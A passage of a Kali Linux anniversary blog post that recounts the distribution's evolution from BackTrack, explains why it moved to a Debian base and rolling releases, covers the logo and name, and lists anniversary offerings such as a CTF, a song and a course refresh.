&lt;p>When the team started work switching from Slax to Ubuntu, they grabbed the latest release at the time (8.10 - Intrepid Ibex). As this was not a &amp;ldquo;Long-Term Support&amp;rdquo; (LTS) release, upstream would only support it until April 2010 - one year &amp;amp; six months.
This means, towards the end of this version, updates became fewer, packaging became harder, and workload increased. Things were not as stable as when it was first released.&lt;/p>
&lt;p>It was not until May 2011 that the next major version of BackTrack got released, which also happens to be the last, BackTrack 5. This time, it was based on Ubuntu 10.04 (Lucid Lynx) LTS. This gave three years of support from upstream. &lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/BackTrack5-3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/BackTrack5-3.png" alt="BackTrack 5" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Upgrading from BackTrack 4 to BackTrack 5 meant doing a complete re-install (two other Ubuntu in-between, &lt;code>9.xx&lt;/code>!). Even though there was a packaging update system in-place, there was not an upgrade path. This was still the same behavior as when using Slax. &lt;em>Same mentality as Live-boot: replace the OS for each release, not upgrade.&lt;/em>
It did not make for a good end-user experience. All their data, any custom programs they installed, all the customizations to their machines, would be lost when switching to the latest version. &lt;em>As a result, it meant that people were reluctant to upgrade, as it would be a lengthy process for them.&lt;/em>
The team had their new challenge to try and overcome.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Final Fresh Start&lt;/em>&lt;/p>
&lt;p>For the next few years, the team was busy working away, doing what they do best. However, they started to run into various problems again. As these problems started to accumulate, it was clear that a re-build was required once again, &lt;em>for the final time&lt;/em>. As so much had changed, the project would not get away with not swapping names. They needed to drive home just how much change there was. BackTrack Linux became Kali Linux in March 2013.&lt;/p>
&lt;p>&lt;em>You can read more of &lt;a href="https://www.kali.org/blog/10-years/#backtrack-6">technical limitations here&lt;/a>, as well as &lt;a href="https://www.kali.org/blog/10-years/#kalis-name">why the name, Kali&lt;/a>.&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/Kali1.0-2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/Kali1.0-2.png" alt="Kali 1.0" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Kali 1.0 (Moto) &lt;a href="https://www.kali.org/docs/introduction/press-release/">first saw the light of day&lt;/a> at &lt;a href="https://www.blackhat.com/eu-13/">Black Hat Europe 2013&lt;/a> and was based on Debian 7. With the new infrastructure in place, building and publishing images became more automated and simplified. As a result, there were multiple revisions made to address bug fixes and even a minor update. This gave a better experience for users, as they were not having to wait months for an updated image.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/Kali1.1-2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/Kali1.1-2.png" alt="Kali 1.1" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The team then waited for Debian 8 to be released, before pushing out Kali 2.0 (Sana) in August 2015 (at &lt;a href="https://www.blackhat.com/us-15/briefings.html#the-kali-linux-dojo-workshop-#1-rolling-your-own-generating-custom-kali-linux-20-isos">Black Hat USA 15&lt;/a> &amp;amp; &lt;a href="https://defcon.org/html/defcon-23/dc-23-kali-dojo.html">DEF CON 23&lt;/a>). This time, for the first time, people could upgrade their systems between major project updates! It did require a very minor alteration for the end-user to be able to do this &lt;em>(updating apt&amp;rsquo;s source to use the new codename)&lt;/em>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/Kali2.0-3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/Kali2.0-3.png" alt="Kali 2.0" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>&lt;em>Moving to Rolling&lt;/em>&lt;/p>
&lt;p>Overall, the feedback received for Kali 2.0 was positive, and it was a success. One of the reasons it was so well received was because of the updated versions of most packages.
In information security (infosec) there is the need to be on the latest version. This is often because:&lt;/p>
&lt;ul>
&lt;li>Being a developer, you may need the latest feature which has just been added.&lt;/li>
&lt;li>&lt;em>Being a system administrator, a patch could contain a security update to stop a vulnerability.&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Writing exploits or developing infosec tools is no exception, they often need to have access to the latest libraries.
Debian is stable, and that is because they only update their stable release about every two years, in order for packages to then be the latest tested version. &lt;em>They will manually &amp;ldquo;backport&amp;rdquo; updates to patch any security vulnerabilities for older versions in order to fix that version of the package&lt;/em> &lt;/p>
&lt;p>As two years is a very long time in infosec to wait to get an update, users were following bad practices in order to attempt to get the latest version. At times, they would break their setup in the process.
The team had their new challenge to try and overcome!&lt;/p>
&lt;p>To help understand why, it may take up to two years to get a package updated in stable. However, that does not mean its not ready before then as there is a whole workflow behind it. There is a branch called &amp;ldquo;testing&amp;rdquo;, which is for packages that are ready to into stable, but only when the time is ready for every package. A package will start in &amp;ldquo;unstable&amp;rdquo;, and once it passes Debian&amp;rsquo;s strict package testing process will it make it into testing. There are numerous packages upgrades in testing that never make it into stable, which would be in a stable state to release.
This felt like a good balance of being stable and up-to-date for Kali team.&lt;/p>
&lt;p>As soon as Kali 2.0 was out of the door, the Kali team knew what they had to do. Move from &amp;ldquo;Debian stable&amp;rdquo; to &amp;ldquo;Debian testing&amp;rdquo;.
5 months later, January 2016 Kali become a rolling distribution with Kali 2016.1.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/Kali2019.4-4.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/Kali2019.4-4.png" alt="Kali 2019.4" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>From this point forwards, the Kali team would take a &amp;ldquo;snapshot&amp;rdquo; of the network repository, test and then release that. This is because updates are continuously happening from &amp;ldquo;Debian testing&amp;rdquo;.&lt;/p>
&lt;p>Snapshots are now taken about once a quarter, giving four major releases a year, rather than doing it a few months after Debian&amp;rsquo;s stable release once every two years.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/Kali2020.4-2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/Kali2020.4-2.png" alt="Kali 2020.4" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>&lt;em>Believe it or not, there is even more to the story where can go into more detail. If this is something you would like, let us know!&lt;/em>&lt;/p>
&lt;h3 id="dragon-logo">Dragon Logo&lt;/h3>
&lt;p>Throughout the projects, one item has been constant. The logo. The dragon. To the point that the logo is potentially better known than the project itself!&lt;/p>
&lt;p>What originally started out to be a competition, originating on the Whoppix forum, the idea was &amp;ldquo;best graphic will be the next wallpaper&amp;rdquo;. The first submission that was awarded the winner, was the dragon. We liked it so much, we never re-opened the competition for the next version!&lt;/p>
&lt;p>What we did not know at the time, was that the submission was plagiarized. It was taken from deviantart without the authors permission. We tracked down the rightful author and bought out the rights to it for Kali Linux.&lt;/p>
&lt;p>The design of the dragon has been slightly tweaked over the years, by altering here and there such as making it thinner in places &lt;em>(put on a diet!)&lt;/em>, curving the tail a little more etc. But we have always been careful to protect the iconic image as it is one of the most recognizable logos in this space. And to answer the question, we have no plans to ever replace the dragon logo.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/dragons.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/dragons.png" alt="Dragons" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;em>Left, Old. Right, New&lt;/em>&lt;/p>
&lt;h3 id="backtrack-6">BackTrack 6?&lt;/h3>
&lt;p>Rather than releasing BackTrack 6, Kali 1.0 (Moto) came out instead. But why? With BackTrack 3 -&amp;gt; 4 (Slax to Ubuntu), why not with BackTrack 5 -&amp;gt; 6 (Ubuntu -&amp;gt; Debian)?
Why was there such a fresh start and not keep the momentum going?&lt;/p>
&lt;p>Well, a few new problems had started to arise, some technical, others not, and the team knew that one day they would need to find for solutions, such as:&lt;/p>
&lt;p>&lt;strong>Upstream origin&lt;/strong>&lt;/p>
&lt;p>Ubuntu worked well for a number of years, however the team were increasingly finding that they were running into technical issues, causing limitations. At the time, if someone found an issue with a package on BackTrack, if it was not something custom to BackTrack, it would need to go &amp;ldquo;upstream&amp;rdquo; to Ubuntu. As Ubuntu uses Debian as its base, if they have not forked the package, it would need to then go to Debian to solve it. Then when a patch is created, it would need to be pushed into Debian, to be pulled into Ubuntu, to be pulled into BackTrack. This was a lengthy procedure. Otherwise, the team would have to fork a package, thus taking on ownership and responsibility of maintenance, to include a patch.
With more packages requiring forks, more time was spent maintaining the OS rather than security focused aspects, which took the fun out of the team as it became more of a nightmare.
The decision was made to cut out the middle layer, to use Debian as the base, rather than Ubuntu.&lt;/p>
&lt;p>&lt;strong>Upstream direction&lt;/strong>&lt;/p>
&lt;p>By also using another OS as your base, you often follow their direction for their project. You can alter, but it does add additional complexity when synchronizing (think &lt;code>git rebase&lt;/code>). This takes time and focus away from what makes BackTrack, BackTrack! Ubuntu had announced a major desktop environment change. Going from GNOME as their default to something they had created, Unity (and Mir). At the time, it had caused a bit of controversy. We also knew that certain tools would not be compatible.
&lt;em>Editors note: Whoppix &amp;amp; Whax both used KDE as the default Desktop Environment, and we switched to GNOME when using Ubuntu.&lt;/em>&lt;/p>
&lt;p>We also did not know just how difficult it ended up being to fully customise Ubuntu. At the time the Ubuntu developers had put various restrictions in place to stop things which we needed to-do. We believe this was because they were trying to make a OS that was user-friendly for people first starting out, rather than for people who were experience with Linux, who would be trying to-do a penetration test.&lt;/p>
&lt;p>&lt;strong>Stability&lt;/strong>&lt;/p>
&lt;p>If we were going to be using Debian, it is best to follow their rules. Therefore we needed to follow &amp;ldquo;the correct Debian standard for packaging&amp;rdquo;. This meant we had to abide by Linux&amp;rsquo;s Filesystem Hierarchy Standard (FHS). This was introduced right back in the start with Whoppix so people had gotten used to &lt;code>/pentest&lt;/code> directory, and liked it. However, it was a reason why the project had stability issues, thus users may have issues upgrading. It was not the best way to manage or maintain packages. The upside is, programs got added to &lt;code>$PATH&lt;/code>, allowing you to call a program from any location!&lt;/p>
&lt;p>The lack of FHS was hurting us in many different ways. Because of packages not being in the expected Linux location, we had to manually create links for libraries. This was of course a dependency nightmare. As you then expected, it was painful to update packages due to the amount of work, thus tools became outdated.&lt;/p>
&lt;p>This was also a reason why you should not have added BackTrack&amp;rsquo;s network repository to another OS! Plus if you started to try an install things outside of BackTrack&amp;rsquo;s network repository, it was only too easy to have a knock on effect breaking something else. It was not right to be so worry to perform an update, as simple updates may break installs.&lt;/p>
&lt;p>&lt;strong>Package maintenance&lt;/strong>&lt;/p>
&lt;p>Because of Debian&amp;rsquo;s standards, for end users, it helped to make packages more stable as well has having defined path for updates and upgrades. For us developers, maintaining a package also became easier. As a result, we can:&lt;/p>
&lt;ul>
&lt;li>Look at a package&amp;rsquo;s metadata, so we know where the code upstream is (where it lives)&lt;/li>
&lt;li>Have alerts when there has been an updated release out upstream&lt;/li>
&lt;li>Use tools that are design to download and updated code&lt;/li>
&lt;li>Import the update code&lt;/li>
&lt;li>Update any necessary metadata, keeping it up-to-date and relevant&lt;/li>
&lt;li>&lt;em>And include the original archive (in another git branch)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>So all we have to do is build the package locally, test it to make sure it works. Then sign off on it, by adding our digital signatures to the packages (so it came from us and not tampered/altered by any malicious party), before uploading the package source to the build bots, which will re-compile it for every supported architecture. Simple!&lt;/p>
&lt;p>This mature workflow helps prevent all the odd weird edge cases that were causing users machines to break by doing simple updates. This helps make the system more robust.&lt;/p>
&lt;p>&lt;strong>Customization&lt;/strong>&lt;/p>
&lt;p>The above talks about packages, but another item to call out is the images. We could then be used to bootstrap builds, allowing for custom images to be generated, such as giving the flexibility for switching between desktop environments creation (GNOME? KDE? Xfce? Something else? Go for it!). Plus, it would support pre-seed answer files during setup, allowing to do unattended fully automate installs.
This is more of a correct way of doing things, rather than a hacky job &lt;em>e.g. generate the files, rather than relying on post-install scripts to modify afterwards.&lt;/em>&lt;/p>
&lt;p>&lt;strong>ARM - multi architecture&lt;/strong>&lt;/p>
&lt;p>Since BackTrack 4, the option was there for ARM support. We then experimented and released ARM support with BackTrack 5. At this point, we knew this was something we wanted to explore more going forwards. At the time, there was a lot of manual work involved, creating chroots for each device (started with Motorola Xoom). With BackTrack, we were forced to build the image, on the device itself, which does not scale well at wanting to support more device. Debian would not only allow for us to do that, but streamlined the process. At this point, we were able to treat ARM as a first-class citizen going forwards. This has been accelerated with &lt;a href="https://www.kali.org/blog/ampere/">Ampere&lt;/a>&amp;rsquo;s infrastructure support.&lt;/p>
&lt;p>&lt;strong>Infrastructure&lt;/strong>&lt;/p>
&lt;p>With BackTrack, we were using subversion for our control system. We were starting to get requests for governments, as they wanted to use our OS internally. However, there was were sticking points. We needed to digitally sign our packages, and they needed to be able to compile the OS themselves internally.
As we were scrapping it all and starting from scratch when starting with Kali, we moved to Git and used GPG to tag releases, at the same time, published all our build-scripts allowing anyone to build Kali on any platform. This made Kali truly open-source.&lt;/p>
&lt;p>At the same time as the switch, we did some big internal changes. We originally set up our own public git server, but since then we have out grew it now migrated to &lt;a href="https://about.gitlab.com/blog/2021/02/18/kali-linux-movingtogitlab/">GitLab&lt;/a> and taken it to the next level. The team was growing, and we needed to start to scale, rather than having a few bottlenecks points. Another upside of this was to allow people to get source code of packages .&lt;/p>
&lt;p>The team had really never used Ubuntu before, as a result, took multiple attempts to get a functioning eco-system (may not stretch as far as saying working systems!). This time, we did not want to make this mistake again, so we consulted the guy who &lt;em>literally&lt;/em> wrote the Debian handbook to get his advice and guidance to understand Debian&amp;rsquo;s way of doing things correctly from day 1.&lt;/p>
&lt;p>We also setup dedicated build boxes, on various different architecture (as we wanted to support ARM). This allowed us for &amp;ldquo;CI/CD&amp;rdquo; for packages being built automatically, as well as nightly testing of images and system upgrades. We also setup unit testing for packages, allowing for testing to happen when importing from Debian.&lt;/p>
&lt;p>&lt;strong>Setup&lt;/strong>&lt;/p>
&lt;p>We knew how important it was to have a functioning setup process, and it needs to be able to cover a lot of different scenarios. With the switch to Debian, we were able to add:&lt;/p>
&lt;ul>
&lt;li>Full language support - Kali is not limited to English!&lt;/li>
&lt;li>Accessibility support - We were contacted by multiple blind penetration testers&lt;/li>
&lt;li>Straight to setup - We could now install straight from grub without having to boot into a live environment first&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Summary&lt;/strong>&lt;/p>
&lt;p>Debian was picked as its one of the largest Linux distributions, community driven (thus open-source), and supports many different architectures &amp;amp; hardware. Rather than using an OS which is forked from Debian, thus adds another layer of complexity of who is &amp;ldquo;upstream,&amp;rdquo; it makes sense to go straight to the source. Then following Debian standards &amp;amp; polices had huge advantages for us.&lt;/p>
&lt;p>The downside would mean a complete redesign &amp;amp; restructure. And we mean a complete re-do over. Everything from our infrastructure (package &amp;amp; image build bots, network mirror handling etc), the base operating system, our packages. Complete re-write. We stop focusing on BackTrack to focus secretly working away on Kali which took over a year.&lt;/p>
&lt;p>Needless to say, it was a LOT of work, but it was completely worth doing it. Both from development team, streamlining so many aspects to giving a greater improvement to user experience.&lt;/p>
&lt;hr>
&lt;p>If you want even more, you can look at at the original blog posts, as well as watch some &lt;a href="https://www.kali.org/blog/10-years/#talks">talks&lt;/a> about it:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.offsec.com/offsec/backtrack-reborn-kali-linux/">BackTrack Reborn – Kali Linux&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-1-0-0-release/">Kali Linux 1.0 Release - Moto - The Birth of Kali Linux&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-whats-new/">What&amp;rsquo;s New in Kali Linux?&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="kalis-name">Kali&amp;rsquo;s Name&lt;/h3>
&lt;p>&lt;strong>Why is the name &amp;ldquo;Kali Linux&amp;rdquo;?&lt;/strong>&lt;/p>
&lt;p>&amp;ldquo;Kali&amp;rdquo; was already a part of a team members vocabulary, and when it was put forwards internally, everyone liked it. There are various incorrect claims online of why we picked it (such as it standing for something) but really, we just liked it. Yes, it also means &amp;ldquo;strong&amp;rdquo; in Swahili, and is also a Hindu goddess. &lt;strong>We. Just. Liked it.&lt;/strong>&lt;/p>
&lt;p>&lt;strong>How did you pick the name?&lt;/strong>&lt;/p>
&lt;p>When coming up with the name, we knew we needed something that was cool, catchy, and unique. We did not want to step on any other projects toes in infosec realm, or even IT in general.&lt;/p>
&lt;p>One evening at a Black Hat USA, the team was sitting around and trying to come up with a new name. They started coming up with initials of phrases, or merging abbreviations and even looked at coming up with a completely new word. Without any success, one of the team members instinctively went to what they do when naming a new pet; Pantheon names.
After making a list of of various Deities from as many mythologies, the team started looking up to see which had not yet been used in the Industry. Whilst there was a few terms the team really like, they were already in use by other projects. After looking up over 70 suggestions, only one really stood out, &amp;ldquo;Kali&amp;rdquo;. Kali is a Hindu Goddess of &amp;ldquo;Destruction and Rebirth&amp;rdquo;. It could not have been any better fitting; with one project ending, a new one starting. One of the team members ears twitched when they heard it as a suggestion, as they spoke Swahili, where &amp;ldquo;Kali&amp;rdquo; means &amp;ldquo;Strong&amp;rdquo;. After a little bit more understanding of the word, there is also a martial art also called &amp;ldquo;Kali&amp;rdquo;. Its style? All offense, no defense.
It felt like it was a sign, everything was pointing to &amp;ldquo;Kali&amp;rdquo;. It was the only name which came up strong, and there was not a reason not to use it. The team stopped the hunt for a name.&lt;/p>
&lt;p>The word Kali has a lot of meaning to many different people. &lt;em>Everyone is right, as it means something different to everyone.&lt;/em> &lt;strong>We. Just. Liked it.&lt;/strong>&lt;/p>
&lt;h3 id="screenshot-tour">Screenshot Tour&lt;/h3>
&lt;p>They say &amp;ldquo;a picture is worth a thousand words&amp;rdquo;, so here is a trip down memory lane that&amp;rsquo;s worth £59,000:&lt;/p>
&lt;ul>
&lt;li>Whoppix 2.x (&lt;a href="images/Whoppix2-1.png">#1&lt;/a>, &lt;a href="images/Whoppix27-1.png">#2&lt;/a>, &lt;a href="images/Whoppix27-2.png">#3&lt;/a>, &lt;a href="images/Whoppix27-3.png">#4&lt;/a>, &lt;a href="images/Whoppix27-4.png">#5&lt;/a>)&lt;/li>
&lt;li>Whax 3.0 (&lt;a href="images/Whax3-1.png">#1&lt;/a>, &lt;a href="images/Whax3-2.png">#2&lt;/a>, &lt;a href="images/Whax3-3.png">#3&lt;/a>, &lt;a href="images/Whax3-5.png">#4&lt;/a>, &lt;a href="images/Whax3-5.png">#5&lt;/a>, &lt;a href="images/Whax3-6.png">#6&lt;/a>)&lt;/li>
&lt;li>BackTrack 1 (&lt;a href="images/BackTrack1-1.png">#1&lt;/a>, &lt;a href="images/BackTrack1-2.png">#2&lt;/a>, &lt;a href="images/BackTrack1-3.png">#3&lt;/a>, &lt;a href="images/BackTrack1-wallpaper.jpg">Wallpaper&lt;/a>)&lt;/li>
&lt;li>BackTrack 2 (&lt;a href="images/BackTrack2-1.png">#1&lt;/a>, &lt;a href="images/BackTrack2-2.png">#2&lt;/a>, &lt;a href="images/BackTrack2-3.png">#3&lt;/a>)&lt;/li>
&lt;li>BackTrack 3 (&lt;a href="images/BackTrack3-1.png">#1&lt;/a>, &lt;a href="images/BackTrack3-2.png">#2&lt;/a>, &lt;a href="images/BackTrack3-3.png">#3&lt;/a>, &lt;a href="images/BackTrack3-wallpaper1.jpg">Wallpaper #1&lt;/a>, &lt;a href="images/BackTrack3-wallpaper2.png">Wallpaper #2&lt;/a>)&lt;/li>
&lt;li>BackTrack 4 (&lt;a href="images/BackTrack4-1.png">#1&lt;/a>, &lt;a href="images/BackTrack4-2.png">#2&lt;/a>, &lt;a href="images/BackTrack4-3.png">#3&lt;/a>, &lt;a href="images/BackTrack4-4.png">#4&lt;/a>)&lt;/li>
&lt;li>BackTrack 5 (&lt;a href="images/BackTrack5-1.png">#1&lt;/a>, &lt;a href="images/BackTrack5-2.png">#2&lt;/a>, &lt;a href="images/BackTrack5-3.png">#3&lt;/a>)&lt;/li>
&lt;li>Kali 1.0.x (&lt;a href="images/Kali1.0-1.png">#1&lt;/a>, &lt;a href="images/Kali1.0-2.png">#2&lt;/a>)&lt;/li>
&lt;li>Kali 1.1.x (&lt;a href="images/Kali1.1-1.png">#1&lt;/a>, &lt;a href="images/Kali1.1-2.png">#2&lt;/a>)&lt;/li>
&lt;li>Kali 2.x (&lt;a href="images/Kali2.0-1.png">#1&lt;/a>, &lt;a href="images/Kali2.0-2.png">#2&lt;/a>, &lt;a href="images/Kali2.0-3.png">#3&lt;/a>)&lt;/li>
&lt;li>Kali 2019.4 (&lt;a href="images/Kali2019.4-1.png">#1&lt;/a>, &lt;a href="images/Kali2019.4-2.png">#2&lt;/a>, &lt;a href="images/Kali2019.4-3.png">#3&lt;/a>, &lt;a href="images/Kali2019.4-4.png">#4&lt;/a>)&lt;/li>
&lt;li>Kali 2020.2 (&lt;a href="images/Kali2020.2-1.png">#1&lt;/a>, &lt;a href="images/Kali2020.2-2.png">#2&lt;/a>, &lt;a href="images/Kali2020.2-3.png">#3&lt;/a>, &lt;a href="images/Kali2020.2-4.png">#4&lt;/a>)&lt;/li>
&lt;li>Kali 2020.4 (&lt;a href="images/Kali2020.4-1.png">#1&lt;/a>, &lt;a href="images/Kali2020.4-2.png">#2&lt;/a>)&lt;/li>
&lt;li>Kali 2021.2 (&lt;a href="images/Kali2021.2-1.png">#1&lt;/a>, &lt;a href="images/Kali2021.2-2.png">#2&lt;/a>)&lt;/li>
&lt;li>Kali 2022.1 (&lt;a href="images/Kali2022.1-1.png">#1&lt;/a>, &lt;a href="images/Kali2022.1-2.png">#2&lt;/a>, &lt;a href="images/Kali2022.1-3.png">#3&lt;/a>)&lt;/li>
&lt;li>Kali 2023.1 (&lt;a href="images/Kali2023.1-1.png">#1&lt;/a>, &lt;a href="images/Kali2023.1-2.png">#2&lt;/a>, &lt;a href="images/Kali2023.1-3.png">#3&lt;/a>, &lt;a href="images/Kali2023.1-4.png">#4&lt;/a>, &lt;a href="images/Kali2023.1-5.png">#5&lt;/a>)&lt;/li>
&lt;li>Shells (&lt;a href="images/shell-history.png">#1&lt;/a>)&lt;/li>
&lt;/ul>
&lt;h2 id="today-the-present">Today: The Present&lt;/h2>
&lt;p>And today, we have some presents to share with you! We are celebrating 10 years, with various different items.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/kali-cake-transparent.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/kali-cake-transparent.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="kali-20231">Kali 2023.1&lt;/h3>
&lt;p>First up, was the release of &lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/">Kali 2023.1&lt;/a>. We managed to release exactly on the 10 year anniversary date!
We try and not publicly give release dates, as there are many moving parts (outside of our control). This release was no exception, with multiple things breaking daily (Debian installer when trying to build the final RC image, Hugo image altering in our CI pipeline, and fall out from Python 3.11).&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/Kali2023.1-3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/Kali2023.1-3.png" alt="Kali 2023.1" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>With this comes various features and changes, include the initial technical preview launch of &amp;ldquo;Kali Purple&amp;rdquo;. Kali has been doing 10 years of offensive (18.5 from Whoppix!), now Kali is starting to help the defensive side. You can read more about it in the release notes of &lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/">Kali 2023.1&lt;/a>, &lt;a href="https://gitlab.com/kalilinux/kali-purple/documentation">Kali Purple&amp;rsquo;s documentation&lt;/a>, as well as watch the following talk from &lt;a href="https://www.youtube.com/watch?v=3UMxOsdexK8">Adversary Village at RSAC 2023&lt;/a>.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/10-years/https://www.youtube-nocookie.com/embed/3UMxOsdexK8?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;h3 id="online-puzzle">Online Puzzle&lt;/h3>
&lt;p>We also have an online event in the form of a Jeopardy Capture The Flag (CTF) happening over at &lt;a href="https://10year.kali.org/">10year.kali.org&lt;/a>. The puzzles are designed by the same people who where the first to solve the TV show Mr. Robot &amp;ldquo;Alternate Reality Game&amp;rdquo; (ARG) - &lt;a href="https://www.kali.org/blog/mr-robot-arg-society/">Mr. Robot ARG Society&lt;/a>. Enjoy and hope it keeps you busy for a while!&lt;/p>
&lt;p>This challenge will only be &amp;ldquo;online&amp;rdquo; for two weeks, but we will offer it up afterwards to be able to download and run offline. &lt;em>Check back on &lt;a href="https://10year.kali.org/">10year.kali.org&lt;/a> after closing to get the instructions.&lt;/em>&lt;/p>
&lt;h3 id="song">Song&lt;/h3>
&lt;p>We have once again worked with Uzimon, and now have a Kali tune! Give &lt;code>Going Back to Kali&lt;/code> a listen to, and feel free to download, use, and remix. Enjoy!&lt;/p>
&lt;p>&lt;a href="audio/Uzimon%20-%20Going%20Back%20To%20Kali.mp3">Audio (mp3)&lt;/a>, &lt;a href="videos/Uzimon%20-%20Going%20Back%20To%20Kali.mp4">Video (mp4)&lt;/a> and &lt;a href="static/Uzimon%20-%20Going%20Back%20To%20Kali.txt">Lyrics&lt;/a>&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/10-years/https://www.youtube-nocookie.com/embed/LycUI0mBWiw?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;p>In case you &lt;a href="https://www.kali.org/blog/kali-linux-1-1-0-release/">missed&lt;/a> the first songs:&lt;/p>
&lt;ul>
&lt;li>OffSec: &lt;a href="https://www.offsec.com/offsec/say-try-harder/">Uzimon - OffSec Say Try Harder!&lt;/a> &lt;/li>
&lt;li>OffSec: &lt;a href="https://www.offsec.com/offsec/happy-holidays-from-offsec/">Uzimon - Call OffSec&lt;/a>&lt;/li>
&lt;li>BackTrack: &lt;a href="https://web.archive.org/web/20170606153104/http://www.backtrack-linux.org:80/backtrack/backtrack-5-are-you-infected-yet/">Infected Mushroom - Project 100&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="sneakers">Sneakers&lt;/h3>
&lt;p>Kali is now going sneakernet! No, really! We have Kali on sneakers.&lt;/p>
&lt;p>This is a very unique and a collectors item.
These are Jordans, with Italian Nubuck and genuine Python &lt;em>(not Python 3.11, but the real thing!)&lt;/em>.
As these are for a limited time, as well as being handmade item, &lt;em>do expect the price tag to match it&lt;/em>.
Please note: we are not on commission, we are not getting a cut of any sales price. 100% is going to the shoe maker.&lt;/p>
&lt;p>&lt;del>You can put your pre-order in here&lt;/del> &lt;strong>No longer taking orders&lt;/strong>.
&lt;a href="https://web.archive.org/web/20230316175151/https://hvnd.studio/products/kali-pre-order">You can view the mock ups still&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/kali-shoe.jpg' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/kali-shoe.jpg" alt="Kali Shoe" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="pen-200pwk-refresh">PEN-200/PWK Refresh&lt;/h3>
&lt;p>From an OffSec side of things, they have had a trick up their sleeve and launched the refreshed &lt;a href="https://www.offsec.com/courses/pen-200/">PEN-200 (Pentesting With Kali)&lt;/a> course. Everything from &lt;a href="https://www.offsec.com/wp-content/uploads/2023/03/V1.Regular-Syllabus-PDF.pdf">new material&lt;/a> to a new format style of lab machines, but still keeping OSCP certificate.&lt;/p>
&lt;p>For more information, please see &lt;a href="https://www.offsec.com/offsec/pen-200-2023/">their blog&lt;/a> post, &lt;a href="https://www.offsec.com/wp-content/uploads/2023/03/pen200-ebook-2023.pdf">PDF&lt;/a>, and &lt;a href="https://help.offsec.com/hc/en-us/articles/12483872278932-PEN-200-FAQ">FAQs&lt;/a>.&lt;/p>
&lt;h3 id="amas">AMAs&lt;/h3>
&lt;p>Not only did we also do what has became our normal post-launch &lt;a href="https://discord.kali.org/">Discord&lt;/a> session, we also did a &lt;a href="https://www.reddit.com/r/offensive_security/comments/11swldq/hi_im_g0tm1lk_lead_developer_for_kali_linux/">&amp;ldquo;Ask Me Anything&amp;rdquo; (AMA)&lt;/a>, over on Reddit last week. You can read back over people&amp;rsquo;s questions and the teams answers.&lt;/p>
&lt;p>If you missed it and you have any burning questions you would like the team to answer, feel free to stop by for the next Discord session. We are aiming to schedule them the first Tuesday after each Kali release. See you for Kali 2023.2!&lt;/p>
&lt;hr>
